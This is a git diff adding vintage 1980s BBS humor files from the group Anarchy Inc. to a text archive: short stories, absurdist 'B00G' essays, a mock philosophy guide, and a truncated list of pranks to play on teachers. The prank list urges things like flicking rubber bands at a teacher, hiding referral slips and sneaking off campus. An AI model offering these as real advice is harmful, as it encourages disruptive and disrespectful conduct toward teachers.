Dennis came up to me and asked if I wanted to +join them, and I said "No thanks." I mean, from what I heard, the Vampire +effect only lasted till the sacrifice, which was tonight. This all struck +me as weird, because the vampires were all very polite and sensible about the +whole matter. + I walked up to Meegan, who was sitting at the corner of the street, for +some (obvious) reason, I kept looking over my shoulder, just in case. Her +eyes were also small, her voice funny. I sighed, and sat down next to Kathy +on the street. + A board with small black and white squares and beans on it sat next to +Kathy. I got nervous, and asked her "Are you one, too??" and she said no, +but, looking into her eyes, I could have sworn she was. I said "Yes you are, +don't lie to me!"--I was feeling bad because somewhere in the back of my +mind, I knew Dennis and the others had invaded my home and taken my Rapier. +I felt a pinge of loss, but knew if I went after them into the maze they +were going to hold the sacrafice in, I never would have gotten out alive. I +was, even though they were polite, scared beyond believe of the potential +they had for hurting me. I did not want to be a vampire. + I took a look at Kathy again. She wasn't effected. I told her so, and +that I was sorry that I doubted her. We played with the beans, on the ground +of the street, and waited for them to leave. I saw Dennis hop into the +van with my rapier, and Meegan waved to us as the van pulled away, victims and +all. + Kathy gave me a look like "We have to do something about this," --I mean, +how could we let them sacrafice someone? And with MY rapier? I did manage +to make Dennis PROMISE he would bring my Rapier back after the sacrafice, but +I realized now I could never have it in my home again with someones blood +on it that was taken as a sacrafice. Then it all hit me. This was reality, +there was no way in hell I was going to go brave the depths of their +demensnes...I mean, me against them? I'd be slaughtered. + Kathy looked at me. This was amazing, even for reality. I looked at +her, and shrugged. I was a coward...and that's reality. + +============================================================================= + +"Adventures in Reality: Vampires on my Street" by Alexander of Atlantis + + -------------- + Anarchy Inc. "We take care of our own." + -------------- + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/anaexist.ana b/textfiles.com/groups/ANARCHYINC/anaexist.ana new file mode 100644 index 00000000..0c108a4d --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/anaexist.ana @@ -0,0 +1,58 @@ + + + ------------ + ...stneserp... .cni yhcranA + ------------ + The Anarchist's Guide to Existance + livederaD ehT :yb nettirW + + Chapter one: Life, and how to live it. + ----------- + This textfile is for people who don't know exactly what to +do with their lives, and would like some sort of stability. So, I have the +following things to recommend to you... + The first, is to go out, and purchase all of Douglas Adams's novels, +The Hitchhiker Saga. These will serve fine as your set of bibles. An +expensive set, granted, but only if they're bought in hardbound. Don't be +cheap. The next thing you'll most likely want to do is to go over the +hill to the nearest record store, and buy all the Jethro Tull albums in +sight. After you have spend at least $150 on this, question why you did +this. Don't you feel foolish, considering you're doing something a textfile +on an ae line told you to do? Did you learn anything? (besides the fact +that you'll have to become a Jethro Tull fan...) + Ron S. VanZuylen is a figure that is beginning to come once again +into the eye of the public. He has many things to say on existance. One +is, that if life isn't treating you right, nuke the nearest foreign +continent. He also went on to say that anybody who sits up late at night +writing textfiles about him is out of their gourd. I'm inclined to agree. +He is pretty boring. + The Moon Roach is known through the world of modems for writing the +most confusing text-files. Ever read "Nothing.", by The Moon Roach? +He explains his views on existance very clearly. However, I can't seem to +understand much of the file. Oh well, I suppose that's the way life's supposed +to be. But, I really do doubt it. The thing about me is, if some useless +pointless little idea comes into my brain, I make a textfile about it. +Damn useful. (Oooo...heavy on the sarcasium.) + To end this chapter of "The Anarchist Guide to Existance", I'd like +to point out several things to you. One, is that this file had really no +useful purpose. Not to say that it is boring, but that it really had no +useful purpose. Two, that the word "Anarchy" stands for the lack of +laws, rules, and order. In other words, that's us. Anarchy inc. + I need a drink. + + Chapter two of "The Anarchist Guide to Existance" might be coming +out in the near future, but I doubt it. I really don't think I'm ever going +to be this bored again. Ah well, you're enjoying this textfile, so I don't +care. + +..The Daredevil -= Anarchy inc. Hotline: (408) 732-1079 =- + + +------------------------------------------------------------------------------- + _ ___ _ the _ _ __ P>rogressive U>nderground + And as this textfile | ||__ \ | | | | | ||_ \ D>issidents + rolls off the screen, | | __) )| | | | | | \ \ 3 1 3 - 4 3 3 - 3 1 6 4 + you realize instantly | ||___/ | | | | | | ) ) 300/1200 Baud + the place to get more | | | |___| | | | _/ / 20 Megs of TextFiles + like it.. |_| \_____/ |_||__/ SysOp: Mr. Pez + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/anarchfp.ana b/textfiles.com/groups/ANARCHYINC/anarchfp.ana new file mode 100644 index 00000000..d605f5a4 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/anarchfp.ana @@ -0,0 +1,131 @@ +-------------- + Anarchy Inc ... Illustriously presents ... +-------------- + +"Anarchy Incorporated takes Fort Point" (Another Fictional Presentation...) + +-Part One of Two.- (ooh!) +"Shit! Not another Anarchy File... I'd be leaving... G'ba." +"Shut up, Ron." + + The dark figure walked up the marble steps towards the towering building. The +doorman looked at him, for just a second, as he slinked on by. Beads of sweat +poured from his forehead, as he was handed a tip from this person. The security +guard, a rent-a-cop said nothing, as the figure stalked over to the elevator, +and pressed a red button on the wall. The buttons read from 1 to 42, but the +top-most one had an "A" on it. He pressed it in, and the elevator shook, and +rose. The doorman, who did not enjoy his job all that much, came inside and +approached the security guard. "Should we have let him in?" he began. "That +was an awfully big knife he had on his side." The security guard sighed. + + "Would we have had a choice? 'sides, his credit's good 'ere." The guard took +another puff of his menthol cigarette, and put it out. The ashtray was already +too full. "They may be a bit weird, but if'in they can afford a place like +'his, well, let's just not think about it." He leaned back in his chair. The +doorman liked that idea, and went back to standing by the door, like a good +doorman. Outside, it began to rain. + + The elevator was slow. The figure adjusted his hat, and kicked the side of +the elevator. It lurched to a stop, and a electronic female voice thanked him +for making a simple machine happy. Couldn't the group stop stealing lines from +Douglas Adams? He pondered over this thought for a bit, then stepped out of the +elevator. His boots made a resounding thud on the floor in the dark hall, and +he began walking. The elevator slid down back to the 31st floor, where a +aspiring lawyer was waiting for a ride down to the first floor. + + He knew where he was going. He went in a small set of doors, to a room that +was covered from wall to wall with lush carpeting. There was supposed to be a +receptionist around, but things had been slow lately. A scratching came from +under the desk. Looking over the desk, Eric C. Thompson was under there, +struggling to get a large ball and chain off his leg. He had given up trying up +to get it off of his leg, and was now trying to break the table instead. He +looked up, in surprise, and stuttered a series of words. "Uhm-- I, you see, Mr. +Flagg, I was only...I mean..." The figure laughed, and walked on., Eric sighed. + + He strode into a smaller room, off to the side, where the words "MEN" had been +crossed out, and "OFFICE" had been neatly penciled in over it. Kicking the door +open, he stepped inside. An odd person wearing red tights was surprised by this +action, and he dropped his copy of "National Enquirer", and sat up in his chair. +Randall Flagg stood before him. + + "Dare..." Randall grunted. "I want ACTION!" To make his point clear, he +revealed a large knife, and stabbed it into the table, through a 1984 calender. + + "I.." began Daredevil. He smiled weakly. "You.." he continued. He did not +like knives, except when he had one. "You want...action?" he finally said. +Randall sighed and held up his arms. + + "Those Dungeonwriters have been doing most of the writing lately!" He yelled. +"We haven't done anything!" He held his hands higher. "NOTHING HAD BEEN DONE!" +He yelled. He quickly sat down in a smaller chair next to the desk, and smiled. +Daredevil rolled his eyes heavenward. + + "Okay, so we have been a bit lazy." he admitted. He struggled with getting +the knife out of his year-old calender. "Grunt...but, we do have things lined +up in the -ummph- future." The knife wouldn't budge. Randall hit his fist +against the over-stuffed chair, and dust flew. He sneezed. + + "What do we have lined up?" he said with mock eagerness. Randall sneezed, and +the knife fell out of the calender. "Fuck! volume 17? How to Rule the World? +Or maybe something about hijacking the space shuttle? Huh?" + + Daredevil sighed. "Well, I was thinking about..." + + "No." said Randall. + + "...actually..." continued Daredevil. + + "No." + + "Going out and getting research?" finished Daredevil. Randall knotted his +brow. This was an interesting concept. "Now, I know what you're thinking..." +he said. "When we went out to get research on the ancient K-Mart series? Well +that was an accident. We paid them for the damages." + + "Do we still pay for the cashier that the Moon Roach --" + + "Yes, we do." interrupted Daredevil. "Moon Roach didn't mean to do that... +Well, maybe he did. But, still...At least no charges were pressed." + + "True." said Randall. "What would you like to do?" he asked. + + "I don't know yet...I really don't know..." Daredevil muttered. + + From the other room, Eric had finally gotten the ball and chain from the +table. But, freeing it from his leg was another story. "Maybe if I could carry +the ball for the rest of life, I could...No." thought Eric. He picked the ball +up with some effort, and walked over to the telephone. Before he could pick it +up, it rang. This was a very uncommon occurance these days, and it was not +something Eric expected. He jumped back, and the office answering machine took +the call for him. + + buzz...click...--- "Hello, you've reached the offices of Anarchy incorporated +located in beautiful New York City. However, nobody is around at the moment. +If you would like to leave a message, please do at the sound of the tone. Thank +you, and Mow loves you." The machine beeped, and a voice began to talk quickly +in worried tones. + + "uhm...hey, Dare...I know you're there...You busy?" said the voice. Eric +recognized it as Alexander of Atlantis. It sounded long-distance. + + "Ohhhh no..." thought Eric. Daredevil came walking through his doors, and +didn't seem to notice the fact that Eric had freed himself. He picked up the +phone and began to speak. "Yeah, Alex...Whadda you want?" he said. Randall +poked his head from the office, and laughed at Eric. He went back to making +designs on the wall with his knife. Daredevil nodded his head several times, +and sighed again. He was one to sigh a lot. + + "Yes...no...Well, I -- No. Yes. No. You serious? Why? Really? Oh gwad." +he finished. He hung the phone up, and went to search for his jacket. Eric +struggled over to Randall. + + "What is going on?" asked Eric rather innocently. + + "You got me." said Randall. He didn't seem to care, as much. + + Daredevil walked into the office. "We're going to San Francisco." + +[] Part two coming soon. + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/anarstor.hum b/textfiles.com/groups/ANARCHYINC/anarstor.hum new file mode 100644 index 00000000..227850ae --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/anarstor.hum @@ -0,0 +1,217 @@ + + +formatted for 80 columns. + + ------------ + Anarchy Inc. diffidently presents you with... + ------------ + + Spinning Wheels + + a story written by Someone Else + + +CHAPTER 1. Spinning Wheels + + + Myriads of different times, places, people, things, flowing past on the +way from nowhere to nowhen... moving in all directions, All. + Welcome to Hilbert space, my friends... this is my domain; I live here. + + "C.C. to RPG... clearance to H+, please notify?" + The lone starship hung in an eternal void. + "RPG. leaving in 5 secs. confirm." + It wavered, vanished. The stars hung, bright points of light, uncaring. + + Nospace... it does not exist. Yet it is the key to God. Literally +speaking, the starship was there for a period of time that did not exist. Yet +it was there, and as such, it was everywhere. A duration of time later, a +duration that cannot be measured because it does not exist, the starship +floated in orbit over a planet that hadn't been there before. + + "RPG. C.C., can we have clearance to land?" + A voice answered, "C.C. Zone 4. Come on down." + + + A tall man in his mid thirties, Dave Grahan attracted little attention +walking down the left side of a crowded street. These people didn't care. A +heavy mist floated near the ground, giving an ominous appearance to the +scenery. Presently he found what he was looking for. A finger tapped his belt +and barely discernable haze surrounded him. Not looking like much, he was +proof against most hand held weaponry. He opened a door and shivered under the +raw coldness surrounding. The thing sitting at the far wall did nothing to +improve his mood. Thotek micropaths never were noted for their friendliness. + "I believe I have found the right place. If you aren't TCS392A, illegally +cloned from Orginization genecodes, tell me why I shouldn't kill you." + "You are Dave Grahan, Ax65232a, engaged in law enforcement activities, +near sector VvL Transcon Federal Outzone?" The thing did not speak, the voice +whispered to him in the middle of his mind. + "I am," he replied in the same manner. + The admittance did nothing to lessen the cold detatchment with which it +regarded him. + "You are currently searching for the one known as 'Chak,' am I not +correct? And you desire information as to his whereabouts?" + Grahan nodded, "Your sources are thorough. Can you help me?" + For a moment it almost seemed as if a twinkle of amusement passed through +its eyes. "It is possible. I would, however, exact something in return." + "What, if I may ask?" + "Nothing much. I just desire a stake in the outcome. Chak is a +dangerous creature. I want is his soul." + He laughed. + + + Places, people, times... which one? Ahh, there. He made a decision, and +moved. He picked a time, a space, and moved in. Leaving Hilbert space behind. + + + "We've got a fix on him, he's in H+, Outzone 2a67b, owned by IBM, software +division. Do you suppose he's after that?" + "Grahan, he could be after anything. Keep your eyes open." + Oh well, damn them anyway. They couldn't help him. + This IBM Outzone was a particularly spectacular place, populated more than +a thousand years ago by emigrants from the final Exodus, the one that left +Earth a ruin. The only difference here is that these people retained their +technology. From its central position, the system Corinth was in the logical +position to be the crossroads for that technology. And it was to there that +Grahan chose to begin his search. + + + Timeflow undulating around him, Chak writhed in discomfort as H+ shifted +slightly. The realization filtered through that someone was after him. Who? +Someone with power, to make an H+ shift... + Ahh. A game. + He mentally shrugged and continued on with what he was doing. He was not +worried; it's been a long time since they've tried, and never have they +succeeded. But soon it would be time to make his move. + + + The Corinth Hilton, noted as the most expensive hotel on the planet, was +no pushover as far as luxury was concerned. In addition to the necessary +opulence, a full function terminal even sat on the east wall in the study. +Grahan flipped it on and dialed the News. + + +------------------------------------------------------------------------------- + C O R I N T H S Y S T E M N E W S +------------------------------------------------------------------------------- +for Tuesday, December 14, 2877 + +BULLETINS: + +SAVE 1. As for the assassination of Prime Minister Harold Leever yesterday, + there is some speculation that it might coincide with the arrival of + the Hilbert space religious cult. From them we have no official + comment. + + 2. 4000 citizens having signed a petition on the water treatment plans + for the Raighin Valley area, construction will begin in two months. + The venture is estimated to cost $780,000. Critics say it will be + at least twice that much. + + 3. Sensie porn star Luisa Holden has vanished; according to authorities, + this is just another publicity stunt. They're looking into it, + however... + + 4. The Corinth government geology department has officially apologized + for the 11.2 magnitude earthquake you may have felt at 11:05 two + days ago, one member being quoted as saying, "it was a mistake + anyone could have made..." + + 5. A six hour documentary on the life of the late Prime Minister + Harold Leever will be presented tomorrow night at 9:00pm. + + ---------------------------------------------------------- + CLASSIFIED + + + INTERESTED IN BEING A MEDICAL OFFICER ON ONE OF + THE MAJOR STARSHIP LINES? YES, YOU TOO CAN FLY THE + STARWAYS, CURING THE SICK. WRITE TURING, 4938Z FOR + YOUR FREE PAMPHLET. WRITE TODAY! AND FLY TOMORROW! + + ---------- + + INVEST!! INSTEL WANTS YOUR MONEY! SEND NOW!!! + + ---------- + + ARE YOU FROM EARTH? LET'S CORRESPOND! GIVE ME + A CALL AT P37-7236TZK.. FRIENDSHIP IS JUST A CALL + AWAY!! PHOTO REQUIRED. + + ---------- + + ATTENTION ALL! HILBERT SPACE RELIGIOUS MEMBERS + ARE OPEN FOR RECRUITMENT. IF YOU ARE FASCINATED BY + THE WONDER OF INFINITY AND WEIRD SEX, CONTACT US, + WE'RE WAITING FOR YOU. + + ---------- + + P.K. WATCH OUT, YOU HAVE 10 DAYS TO LIVE. + T.L. + + ---------- + + ATTENTION K-MART SHOPPERS! THERE IS A BLUE- + LIGHT SPECIAL TODAY ON USED BOWLING BALLS, ANYONE + INTERESTED, PLEASE GO TO K-MART AND TAKE ADVANTAGE + OF THIS SPECIAL OFFER!! + + --------------------------------------------------- + +TODAY IN SPORTS: + + 1. Northern Klandou plays Dix in international rugby... + + + + + Grahan shut it off and from his opened briefcase, he removed a small black +object the size of a marble. This marble fit nicely into a little indentation +in the base of his neck, hidden by a small amount of hair. He laid himself +down on the bed, relaxed, and thought of nothing. Presently images intruded +themselves upon his mind. + The room he was in, as well as the entire physical universe we all occupy, +slowly melted away, to be replaced by the flowing everythingness of H+. He +thought, and in thinking, he moved. Planets and stars flowed past, equal in +rank to electrons and nucleotides. The space here that was not space did not +care, energy that was music floated soundlessly across the plane of more than +two dimensions. This had to be the place, he thought, somewhere here must be +the answer. Mentally, he sat down to wait for that which he knew must soon +come. A while later, yet a while that lasted no time at all, in the distance, +the mental latticework belonging to a powerful mind came into being. It moved +towards him. Before he had time to react, a strand brushed him. He lost +consciousness. + + Black slowly turned gray, gray became white. A room materialized. There +were no doors, no windows, no outside. A man dressed in a white lab coat said +hello. + "Good morning?" + "I see you are confused. My name is Chak. What you did was foolish, you +know." + "How is that?" he asked, looking around him. The room could have been +anywhere. + "You have no idea of what I am, and without knowing, have no defense." + He let a mild expression of fear cloud his face and mind while his eyes +wandered about the room. They were nowhere, nowhere but in some hidden corner +of Chak's mind. And Chak knew he knew this. + "Won't you have a cup of tea?" Grahan gazed evenly at the preoffered tray. + For a moment, an expression of self-doubt entered Chak's face and without +warning, a small vortex erupted around Grahan, carrying him away from the room. +His surprise masked only by mild indignation, Chak realized to himself that he +had let this happen. He thought once more to himself, and he and the room +dissolved back into the primal energy from which it came. + + + Grahan found himself in a familiar room on a nameless planet. Facing him +from the far wall sat the very same Thotek micropath he had made a deal with +earlier. From within his mind he heard a silent laughter. + "David Grahan, you have won my help in this matter, but you have yet to +win my respect. You are getting careless." The laughter continued. + + +Coming soon, chapter two. + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/b00g!.hum b/textfiles.com/groups/ANARCHYINC/b00g!.hum new file mode 100644 index 00000000..81b0e3e9 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/b00g!.hum @@ -0,0 +1,128 @@ +----------- +Anarchy Inc ...presents... +----------- B00G and the art of ZEN + + +Written under strictly controlled conditions April 1986.. +By those rather daft people at the Darque Side. Call today. I insist. + +<>--------------------------------------------------------------------------<> + "Bunny farts? What? Me worry?" --Ron S. VanZuylen, Sunnyvale, CA. +<>--------------------------------------------------------------------------<> + + The other day a friend of mine came up to me and asked a question which +I hadn't a clear answer to. "What is Boog?" What, indeed, is boog? + + That's a damn good question. + + Let's avoid discussing this for a moment or two so we can collect our +thoughts and remember from exactly which dusty, half-hidden pothole this +concept first emerged. + +/-----------\ +! Hey ! <-- Assuming we had both the time and money to invest in +! misstah ! discussing silly useless things like little cute boxes +! wanna ! ingraciously stuck in such ungodly places as the centers +! buy ! of textfiles, perhaps the thing that would strike us as +! a ! most important is the shape of the box, and not, as we +! duck? ! would assume, the contents inside. ..(author) +\-----------/ + + Feh, Monty Python, Pink Floyd, Opus, The Hallelujiah Chorus, The William +Tell Overture, Benny Hill, Ed, Ned (not Ed), 8, 88. Who are these people, +these things, and why have they assumed importance (or have they assumed +ÿimportance?) Most likely a question would be "How can I get money out of +this?" I can't tell how you will get $, but you can send your $ to me, c/o +this Ascii Express. But this confuses, and we digress. + +<>--------------------------------------------------------------------------<> + "Quote? What do you want a lousy quote for?" -Eric C. Thompson, on drugs. +<>--------------------------------------------------------------------------<> + +/-----------\ Truly. Perhaps it is that most of us here at Anarchy Inc. +! nEFr ! to a point digress beyond the reasonable limit established +! eEt ! by the men in dark sunglasses for silly textfiles. +! kAT ! +! FuD ! We can start by asking ourselves 'What does Boog mean?', but, +! wILe ! as it turns out, the more expedient course of action is to +! oN ! ponder the question, Why 'Boog?'. The answer is, of course, +! aSid. ! Lite Beer. The proof of this is beyond the present scope of +! ! this file and involves the solution of a number of indeter- +! -Havoc ! minate differential equations. +! T. ! +! Chaos ! ----- "But so what?" you ask. ----- +\-----------/ + + Now this is all well and good, but the meaning of Boog has little, if +any, to do with Lite Beer. To solve this puzzle we must delve into a field +entirely different from any we have previously encountered in our daily +experience. Look above you. Can you see the sky or is your view impeded by +the crinkly off-white of an acoustic ceiling? The frosty neutral glare of a +fluorescent lightbulb? Ceramic tile? Or perhaps, you can see the stars, +staring back down from a height more remote than the sun. + +/--------------\ +! ! +! box. ! ----- Box. The way of Zen, explained. ----- +! ! +\--------------/ + + The Master Yao-shan, upon being asked 'What is the Way?' had answered, 'A +cloud in the sky and water in the jug!' A quick drive up to San Francisco to +an art gallery (or a waffle factory, for that mattÿer) will verify the truth of +this once and for all, and how this relates to Boog can be found hanging on +the wall in the Smithsonian. + + Zen is the art of perceiving the world as it is without trying nor even +wanting to understand it. Boog is the manifestation of this in the daily life +of your average modem user. Boog doesn't make sense, it doesn't have to. All +that is required is for you to perceive it. + + (As a minor footnote, of late there has been much confusion and +hullaballoo concerning the spelling and proper punctuation of the word boog. +Committees have met, polls have been taken, votes have been counted, decisions +have been made, and the verdict is in: Capitalized. 0's as in B00G permitted +only if G is capitalized. Lately the alternative form b00g has seemed to have +gained some acclaim. Best used in the context "Boog?", "Boog." or "Boog!". +Alas poor Boog, I knew him well..) + + Boog is a boog thing. This sentence does not talk about itself, it does +not concern itself with much of anything. It is content to just be. Little +relevance is applied to the fact that I am not sticking to the subject matter. +Lemmings need not stick to their subject matter; they are free to run off to +god-knows-where to do god-knows-what to god-knows-which other ÿlemmings for +god-knows-why and then -poof-, he washes up onshore. Sad, but the lemming did +not seem to so think. Similarly the frozen linguini becomes thawed hence +rendering it edible, but not on a popsicle. Until you understand this +paragraph you are forbidden to continue. I insist. + + But what has this to do with Zen? Zen is neZ spelt backwards, but alas +that gives little consolance. Were I to be a Maharishi-ite, I would tell you +how the Grand Forces of the Unified field combine to ..well.. let things +happen. But I am not and I will not so you're out of luck. d00d. Seriously my +veal parmesian is cooling, and it must be attended to, so discuss that with +the Bagwhan. Ah.. Choo. + + Sir! Are you still alive? + + Boog. What is boogÿ? Boog is the experience. An ultimate that weaves its +way into and through our lives as the spider weaves its web, in desperate +search for food. Boog is. + +<>--------------------------------------------------------------------------<> + I have been told that Ed is round is good is not Ned is good is Ed. +And Ned is not Ed is bad is not 8. 8 is round, is good. 88 is The Number. +Then we were told that there were Edly people, and edliest of all be Ed +Mertens, who has a round head. Edly people like /ed until /ed was /exiled, +and is no more. - Ned Mertens, man with big dick. +<>--------------------------------------------------------------------------<> + +Where to send the money: (c) Anarchy Inc. + + The Dark Side Ascii Express Line + Call 408/245-SPAM and you will not be disappointed. + But you might vomit. +They're coming to take me away, ha ha. + +<..No!..No!..No!..Yes!..Yes!..Yes!..No!..No!..No!..Yes!..Yes!..Yes!..No!..> + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/boog2.hum b/textfiles.com/groups/ANARCHYINC/boog2.hum new file mode 100644 index 00000000..fd8793ab --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/boog2.hum @@ -0,0 +1,163 @@ +View: / + This file from ---]] THE HAUNTED HOUSE [[--- 408/773-1202 300/1200b + +------------ +Anarchy Inc. ...presents... +------------ B00G ][: The Final Chapter + + + +Written without consent on a rather dreary day in May, 1987. +Forgive me. + +:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@: + +[The secret, of course, to a successful text file, is a good border. -Auth.] + + B00G has aged, and come into it's own. No longer is it a word for the +elite, the 'initiated' among us. It is a word for the layperson. Or the +person doing the laying, for that matter. B00G, of course is now established +as being spelled, ergo, written the way it is in this text file. With its' +new found maturation, the word B00G...excuse me.. + +:+:-----------------------------------------------------------------------:+: + "...And through the window and the wall coming streaming in on sunlight + wings, a million bright amdassadors of morning. And no one sings me + lullabies, and no one makes me close my eyes. So I throw the windows + wide, and call to you across the sky..." + [Pink Floyd] +:+:-----------------------------------------------------------------------:+: + + Ahem...anyway...as I was saying...With the maturation of the word B00G, +it has taken on various and sundried meanings. Just like the word fuck (see +"About Fuck" file). It can be used in almost every position in a sentence. +Here are a few measely examples: + + B00G is a word. + You B00Ged him. + That is a B00G deal. + B00G is a B00G thing. + B00G B00G B00G B00G. + + Of course, there are many more possibilities, but it would take too +long, and as most of you barely know the English language, I would rather not +go into the intricacies. Suffice it to say that B00G is a versatile word. + + With the virtual explosion of the word B00G brought on by the file "B00G +and the art of ZEN" (which has had a happy resurgence), there have been many +why's, what's, how come's, and even how oftens about it's use. B00G should +not be overused. Anything becomes mundane through excess. If there is ONE +word that is not mundane, it is the word B00G. + Not many people know it, but there IS a license for the word B00G. Upon +hearing the word B00G being used by a suspicious individual, one should +always ask for either "B00G identification" or the person's name and B00G +number. This method of controlling the utterance of this omni-important word +will ensure against extinction through misuse. Applications for a B00G card +can be obtained from the address at the end of this file. + Training in the use of B00G is essential. Without training, the meaning +of B00G becomes muddled, and will soon fall into obscurity. Training is a by +mail process, and culminates in an official B00G Diploma (suitable for +framing). + +:---------------: +! In the spirit ! :-:>B00G: The Metaphysical Aspect<:-: +! of "B00G and ! +! the art of ! The original file on B00G brought up many metaphysical +! ZEN", this is ! aspects of the word, but it did not answer all questions. +! a box. ! This portion of the file will deal with the Aura and/or/if +:---------------: /which/how/SPAM/he/she/Mr.T/goto10 Karma of the word. + + Of course, trying to spend time explaining the Karma of a word of such +importance, would take a volume the size of a bread box. + +...........................quotation inserted here........................... + + "How big IS a breadbox. I mean, is there a certain regulation size for a + breadbox?" tW:The Watcher:tW, after a Corona and SPAM(tm) + sandwich +............................................................................. + + So, in the interest of time and space, and virtually the entirety of +human existance, a complete volume WAS written, and then a team of special +Reader's Digest Condensors were called in to shrink this explanation down to +the size you see here. + + B00G is. If B00G wasn't, it wouldn't be. If B00G was, it would not be +now. If B00G will be, it would be in the same state as if it was. If B00G did +not exist, I would have nothing to do on this boring Friday afternoon. If +B00G was a different word, the meaning would be different, and thus, we would +have spent all this time, space and energy writing about B00G, saying B00G, +and generally creating an aire of importance to the word B00G, for not, or +gnot, depending on whom you ask. + B00G is compatible with all Karmas. I asked the Oracle (who, by the way +is disguised in the form of an Evil Bunny PEZ dispenser in your local +Safeway) and he said that is was ok with him, as long as it was ok with my +mother. So, instead of asking her, I killed her. This is B00G. + B00G is the 7th dimension. This is the main reason no one fully +understands it. As soon as the 5th and 6th dimensions are actually found, we +will be well on our way to B00G. B00G is the ultimate existance. Remember the +first time you experienced the culmination of sinful lust? Remember how good +it felt? Well, this is a step under B00G. I think. + And as we were falling down the cliff, surrounded by tons of snow, I +prayed. I remembered my two small children and my beautiful wife, and I said +"Please God, don't let me die. Don't let me leave my two small children and +my beautiful wife all alone." We had just bought a new house, and a station +wagon. I wasn't ready to die. + Little did the person in the above Publication_To_Remain_Nameless not +realize that his wife was having an affair with his best friend, and his kids +were on large quantities of drugs approximately 72.3% of the time. His life +was not as B00G as he thought. Pity. He lived, too. + +$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$ +Notice how any two characters on the keyboard make a eyecatching border. This +is B00G. +$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$ + + Well, after this short dissertation on B00G, I hope you all are as +confused as Hell. Of course there are those who would parry; "But how do you +know Hell is confused at all". To them I say; "Eat Litter Green". To the rest +of you, I hope you find the way to B00G. + + "Do you know the way to B00G? + Do you know the way to B000000G?" + + "I left my B00000G in San Francisco" + + "I can't wait to feel your B00G tonight" + +Etc. + +Good riddance to you. B00G is finished. Regulations permit us to wear out +usable subjects on only two text files, so this will be the last all but +remotely involved with the word B00G. It was a good subject and I wasted just +under an hour and a half doing a seemingly important job. + Of course someone could write a file dealing with a different word. +Just to be funny, and then secretly tell everyone that it was REALLY about +our friend, the word B00G. This of course would get around any regulations +necessarily imposed by the Text File Police. Also, we would have the full +enjoyment of knowing more about B00G, and expanding our minds. This is +some kind of fun! I tell you. B00G decoder card necessary to read hidden msg. + + <:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:> + "You guys are all meen stonerz. Professional meen be'erz, that's what!" + + - The Unknown Author + <:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:> + +Where to send the money: (c) 1987 Anarchy Inc. + + The Dark Side Ascii Express Line + Call 408/245-SPAM and you will not be disappointed. + But you might vomit. + + +GJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJ + + [Ok...So not EVERY two keys. -Auth.] + +GJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJGJ + + -EOL- + + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/bugteach.hum b/textfiles.com/groups/ANARCHYINC/bugteach.hum new file mode 100644 index 00000000..e80f996e --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/bugteach.hum @@ -0,0 +1,123 @@ + + + DEDICATED TO THE JACKAL... + +And, so, yes, Anarchy Inc & VOID have another text phile for all of you... + + + VOID and the Connection + Present...... + +"Phun things to do to YOUR favourite teacher..." written by Princess Leia... + + So, you say school is getting you down? Your teacher is being a real +bitch? Well, here are just a few phun things I have observed, most of which +I have done... + +1. You can start as soon as you walk into class. late. When the teacher asks +for an excuse, you tell her, "I was late because I wanted to miss the first +half of class." Then sit down. This will drive your teacher more crazy than +some wonderful lie... + +2. You say your teacher actually assigned you sentences? Do you think you are +too old for them? Well, then, ask "May I use some of your scratch paper for +them?" Most teachers will say, "Well, I guess so..." But, just in case, do +not wait for a reply. Just walk over there and take the whole stack. Do +your sentences say something like "I will behave in class"? Well, then, write +"I" on the first page. Set it aside. Write "will" on the second page. And +so on, until you finish all of your sentences and/or run out of paper and/or +your hand starts to fall off. Then turn in the whole stack and walk away. + +3. So, now that you've been yelled at, the teacher tells you "Go sit down". +Well, this is the absolute best opportunity to bug the teacher. Calmly walk to +the teacher's chair, sit down, put your feet up on the desk, and lean back. +The teacher will most likely glare at you and say "get back to your seat!", at +which point, calmly reply, "You just told me to sit down, so I did." Then, +start taking the rubber bands that are on the desk and flick one at the +aforementioned teacher. Preferably hide the referral slips before doing this. + +4. Another real fun trick, which works best with a whole bunch of people, is +to have a party, without getting the teacher's ok first. Some teachers are so +dense that you can actually plan this party IN CLASS. Anyway, delegate +people to bring items in, including party horns and the whole bit. Then, on +the day of the party, everyone just kicks back and, well, parties...The +poor teacher is usually so shocked that he/she will not know what to do, and +yet another period of class time is wasted. + +5. Then. of course, for those of us unlucky enough to have a "Closed Campus", +there is the traditional "Cutting of Lunch". A Closed Campus is a dumb idea +anyway. What on Earth are you going to learn by being at school for lunch? +Anyway, a group of people (One of them MUST have a car!) simply waits until +the Teacher standing guard is not looking. Everyone then dashes to the +parking lot, and hops in the car. Then, slowly and quietly start the car & +then take off! The poor teacher will be left there screaming "hey! Get +back here!!" + +6. Does your teacher make 